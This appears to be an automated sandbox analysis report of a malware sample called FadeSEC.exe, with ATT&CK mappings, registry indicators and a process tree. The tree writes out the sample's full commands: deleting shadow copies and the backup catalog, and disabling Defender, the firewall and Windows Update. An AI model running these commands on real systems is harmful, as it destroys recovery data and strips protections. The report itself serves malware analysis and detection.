fc8f693076e884028e26ddb05c921c315e9af9c6fcddede76d4bbb2885419b90

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	FadeSEC.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	FadeSEC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	FadeSEC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	FadeSEC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	FadeSEC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	FadeSEC.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	FadeSEC.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	FadeSEC.exe

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
404	wbadmin.exe
1736	wbadmin.exe

Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
2460	powershell.exe
3804	powershell.exe

Looks for VMWare services registry key. 1 TTPs 1 IoCs

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMTools	FadeSEC.exe

Modifies Windows Firewall 2 TTPs 8 IoCs

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1644	netsh.exe
4656	netsh.exe
1916	netsh.exe
3684	netsh.exe
2304	netsh.exe
2556	netsh.exe
2388	netsh.exe
1656	netsh.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2460	powershell.exe
3804	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1724	FadeSEC.exe
2684	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1724 set thread context of 2684	1724	FadeSEC.exe	81

Launches sc.exe 30 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4556	sc.exe
4712	sc.exe
4560	sc.exe
484	sc.exe
3232	sc.exe
912	sc.exe
1900	sc.exe
3740	sc.exe
1852	sc.exe
3500	sc.exe
5092	sc.exe
2228	sc.exe
3324	sc.exe
4520	sc.exe
3556	sc.exe
4920	sc.exe
4072	sc.exe
4020	sc.exe
1904	sc.exe
1096	sc.exe
2704	sc.exe
2480	sc.exe
3424	sc.exe
2464	sc.exe
4612	sc.exe
4552	sc.exe
1084	sc.exe
1116	sc.exe
3204	sc.exe
2620	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4848	cmd.exe
3864	cmd.exe
1824	cmd.exe
3356	cmd.exe
4204	cmd.exe
1708	cmd.exe
4212	cmd.exe
2628	cmd.exe
2596	cmd.exe
464	cmd.exe
1556	cmd.exe
3600	cmd.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Interacts with shadow copies 3 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3588	vssadmin.exe
4804	vssadmin.exe
2448	vssadmin.exe
3624	vssadmin.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

pid	Process
2432	reg.exe
4264	reg.exe
4164	reg.exe
4056	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2460	powershell.exe
2460	powershell.exe
1724	FadeSEC.exe
1724	FadeSEC.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeBackupPrivilege	1240	vssvc.exe
Token: SeRestorePrivilege	1240	vssvc.exe
Token: SeAuditPrivilege	1240	vssvc.exe
Token: SeBackupPrivilege	4192	wbengine.exe
Token: SeRestorePrivilege	4192	wbengine.exe
Token: SeSecurityPrivilege	4192	wbengine.exe
Token: SeDebugPrivilege	2460	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1724	FadeSEC.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1724	FadeSEC.exe
1724	FadeSEC.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 2684	1724	FadeSEC.exe	81
PID 1724 wrote to memory of 2684	1724	FadeSEC.exe	81
PID 1724 wrote to memory of 2684	1724	FadeSEC.exe	81
PID 1724 wrote to memory of 2684	1724	FadeSEC.exe	81
PID 1724 wrote to memory of 2684	1724	FadeSEC.exe	81
PID 1724 wrote to memory of 2684	1724	FadeSEC.exe	81
PID 1724 wrote to memory of 2684	1724	FadeSEC.exe	81
PID 1724 wrote to memory of 2684	1724	FadeSEC.exe	81
PID 1724 wrote to memory of 4848	1724	FadeSEC.exe	82
PID 4848 wrote to memory of 3588	4848	cmd.exe	84
PID 4848 wrote to memory of 4804	4848	cmd.exe	87
PID 1724 wrote to memory of 3864	1724	FadeSEC.exe	88
PID 3864 wrote to memory of 404	3864	cmd.exe	90
PID 1724 wrote to memory of 2596	1724	FadeSEC.exe	94
PID 2596 wrote to memory of 2460	2596	cmd.exe	96
PID 1724 wrote to memory of 1824	1724	FadeSEC.exe	98
PID 1824 wrote to memory of 4712	1824	cmd.exe	100
PID 1824 wrote to memory of 1900	1824	cmd.exe	101
PID 1824 wrote to memory of 4560	1824	cmd.exe	102
PID 1824 wrote to memory of 484	1824	cmd.exe	103
PID 1824 wrote to memory of 4020	1824	cmd.exe	104
PID 1824 wrote to memory of 1904	1824	cmd.exe	105
PID 1824 wrote to memory of 4920	1824	cmd.exe	106
PID 1824 wrote to memory of 3740	1824	cmd.exe	107
PID 1724 wrote to memory of 464	1724	FadeSEC.exe	108
PID 464 wrote to memory of 2556	464	cmd.exe	110
PID 464 wrote to memory of 2388	464	cmd.exe	111
PID 464 wrote to memory of 1656	464	cmd.exe	112
PID 464 wrote to memory of 1644	464	cmd.exe	113
PID 1724 wrote to memory of 3356	1724	FadeSEC.exe	114
PID 3356 wrote to memory of 1852	3356	cmd.exe	116
PID 3356 wrote to memory of 1096	3356	cmd.exe	117
PID 3356 wrote to memory of 1084	3356	cmd.exe	118
PID 3356 wrote to memory of 2228	3356	cmd.exe	119
PID 3356 wrote to memory of 2464	3356	cmd.exe	120
PID 3356 wrote to memory of 1116	3356	cmd.exe	121
PID 3356 wrote to memory of 2704	3356	cmd.exe	122
PID 3356 wrote to memory of 2432	3356	cmd.exe	123
PID 3356 wrote to memory of 4264	3356	cmd.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\FadeSEC.exe
"C:\Users\Admin\AppData\Local\Temp\FadeSEC.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Enumerates VirtualBox registry keys
- Looks for VMWare services registry key.
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2684
- - C:\Windows\system32\svchost.exe
    "C:\Windows\system32\svchost.exe"
    3⤵
    PID:4568
- - C:\Windows\System32\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet & vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
    3⤵
    - Executes a command shell one-liner
    PID:1556
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:2448
  - - C:\Windows\system32\vssadmin.exe
      vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
      4⤵
      Interacts with shadow copies
      PID:3624
- - C:\Windows\System32\cmd.exe
    cmd.exe /c wbadmin delete catalog -quiet 2>nul
    3⤵
    - Executes a command shell one-liner
    PID:4204
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete catalog -quiet
      4⤵
      Deletes backup catalog
      PID:1736
- - C:\Windows\System32\cmd.exe
    cmd.exe /c powershell -Command "& {Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -DisableCatchupFullScan $true -DisableEmailScanning $true -DisableRemovableDriveScanning $true -DisableScanOnRealtimeEnable $true -MAPSReporting 0 -SubmitSamplesConsent 2}" 2>nul
    3⤵
    - Executes a command shell one-liner
    PID:3600
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "& {Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -DisableCatchupFullScan $true -DisableEmailScanning $true -DisableRemovableDriveScanning $true -DisableScanOnRealtimeEnable $true -MAPSReporting 0 -SubmitSamplesConsent 2}"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:3804
- - C:\Windows\System32\cmd.exe
    cmd.exe /c sc stop WinDefend 2>nul & sc config WinDefend start=disabled 2>nul & sc stop SecurityHealthService 2>nul & sc config SecurityHealthService start=disabled 2>nul & sc stop WdNisSvc 2>nul & sc config WdNisSvc start=disabled 2>nul & sc stop Sense 2>nul & sc config Sense start=disabled 2>nul
    3⤵
    - Executes a command shell one-liner
    PID:1708
  - - C:\Windows\system32\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:4612
  - - C:\Windows\system32\sc.exe
      sc config WinDefend start=disabled
      4⤵
      Launches sc.exe
      PID:3324
  - - C:\Windows\system32\sc.exe
      sc stop SecurityHealthService
      4⤵
      Launches sc.exe
      PID:3500
  - - C:\Windows\system32\sc.exe
      sc config SecurityHealthService start=disabled
      4⤵
      Launches sc.exe
      PID:2480
  - - C:\Windows\system32\sc.exe
      sc stop WdNisSvc
      4⤵
      Launches sc.exe
      PID:3232
  - - C:\Windows\system32\sc.exe
      sc config WdNisSvc start=disabled
      4⤵
      Launches sc.exe
      PID:4552
  - - C:\Windows\system32\sc.exe
      sc stop Sense
      4⤵
      Launches sc.exe
      PID:3556
  - - C:\Windows\system32\sc.exe
      sc config Sense start=disabled
      4⤵
      Launches sc.exe
      PID:3424
- - C:\Windows\System32\cmd.exe
    cmd.exe /c netsh advfirewall set allprofiles state off 2>nul & netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound 2>nul & netsh advfirewall set allprofiles settings inboundusernotification disable 2>nul & netsh advfirewall set allprofiles settings remotemanagement disable 2>nul
    3⤵
    - Executes a command shell one-liner
    PID:4212
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:4656
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound
      4⤵
      Modifies Windows Firewall
      PID:1916
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles settings inboundusernotification disable
      4⤵
      Modifies Windows Firewall
      PID:3684
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles settings remotemanagement disable
      4⤵
      Modifies Windows Firewall
      PID:2304
- - C:\Windows\System32\cmd.exe
    cmd.exe /c sc stop wuauserv 2>nul & sc config wuauserv start=disabled 2>nul & sc stop UsoSvc 2>nul & sc config UsoSvc start=disabled 2>nul & sc stop BITS 2>nul & sc stop DoSvc 2>nul & sc config DoSvc start=disabled 2>nul & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /t REG_DWORD /d 1 /f 2>nul & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /t REG_DWORD /d 1 /f 2>nul
    3⤵
    - Executes a command shell one-liner
    PID:2628
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:3204
  - - C:\Windows\system32\sc.exe
      sc config wuauserv start=disabled
      4⤵
      Launches sc.exe
      PID:4520
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:2620
  - - C:\Windows\system32\sc.exe
      sc config UsoSvc start=disabled
      4⤵
      Launches sc.exe
      PID:5092
  - - C:\Windows\system32\sc.exe
      sc stop BITS
      4⤵
      Launches sc.exe
      PID:4556
  - - C:\Windows\system32\sc.exe
      sc stop DoSvc
      4⤵
      Launches sc.exe
      PID:4072
  - - C:\Windows\system32\sc.exe
      sc config DoSvc start=disabled
      4⤵
      Launches sc.exe
      PID:912
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4164
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4056
- C:\Windows\System32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet & vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3588
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
    3⤵
    - Interacts with shadow copies
    PID:4804
- C:\Windows\System32\cmd.exe
  cmd.exe /c wbadmin delete catalog -quiet 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3864
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:404
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command "& {Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -DisableCatchupFullScan $true -DisableEmailScanning $true -DisableRemovableDriveScanning $true -DisableScanOnRealtimeEnable $true -MAPSReporting 0 -SubmitSamplesConsent 2}" 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& {Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -DisableCatchupFullScan $true -DisableEmailScanning $true -DisableRemovableDriveScanning $true -DisableScanOnRealtimeEnable $true -MAPSReporting 0 -SubmitSamplesConsent 2}"
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2460
- C:\Windows\System32\cmd.exe
  cmd.exe /c sc stop WinDefend 2>nul & sc config WinDefend start=disabled 2>nul & sc stop SecurityHealthService 2>nul & sc config SecurityHealthService start=disabled 2>nul & sc stop WdNisSvc 2>nul & sc config WdNisSvc start=disabled 2>nul & sc stop Sense 2>nul & sc config Sense start=disabled 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:4712
- - C:\Windows\system32\sc.exe
    sc config WinDefend start=disabled
    3⤵
    - Launches sc.exe
    PID:1900
- - C:\Windows\system32\sc.exe
    sc stop SecurityHealthService
    3⤵
    - Launches sc.exe
    PID:4560
- - C:\Windows\system32\sc.exe
    sc config SecurityHealthService start=disabled
    3⤵
    - Launches sc.exe
    PID:484
- - C:\Windows\system32\sc.exe
    sc stop WdNisSvc
    3⤵
    - Launches sc.exe
    PID:4020
- - C:\Windows\system32\sc.exe
    sc config WdNisSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:1904
- - C:\Windows\system32\sc.exe
    sc stop Sense
    3⤵
    - Launches sc.exe
    PID:4920
- - C:\Windows\system32\sc.exe
    sc config Sense start=disabled
    3⤵
    - Launches sc.exe
    PID:3740
- C:\Windows\System32\cmd.exe
  cmd.exe /c netsh advfirewall set allprofiles state off 2>nul & netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound 2>nul & netsh advfirewall set allprofiles settings inboundusernotification disable 2>nul & netsh advfirewall set allprofiles settings remotemanagement disable 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2556
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2388
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles settings inboundusernotification disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1656
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles settings remotemanagement disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1644
- C:\Windows\System32\cmd.exe
  cmd.exe /c sc stop wuauserv 2>nul & sc config wuauserv start=disabled 2>nul & sc stop UsoSvc 2>nul & sc config UsoSvc start=disabled 2>nul & sc stop BITS 2>nul & sc stop DoSvc 2>nul & sc config DoSvc start=disabled 2>nul & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /t REG_DWORD /d 1 /f 2>nul & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Windows\system32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1852
- - C:\Windows\system32\sc.exe
    sc config wuauserv start=disabled
    3⤵
    - Launches sc.exe
    PID:1096
- - C:\Windows\system32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1084
- - C:\Windows\system32\sc.exe
    sc config UsoSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:2228
- - C:\Windows\system32\sc.exe
    sc stop BITS
    3⤵
    - Launches sc.exe
    PID:2464
- - C:\Windows\system32\sc.exe
    sc stop DoSvc
    3⤵
    - Launches sc.exe
    PID:1116
- - C:\Windows\system32\sc.exe
    sc config DoSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:2704
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2432
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:4264

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1240

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4192

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1228

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion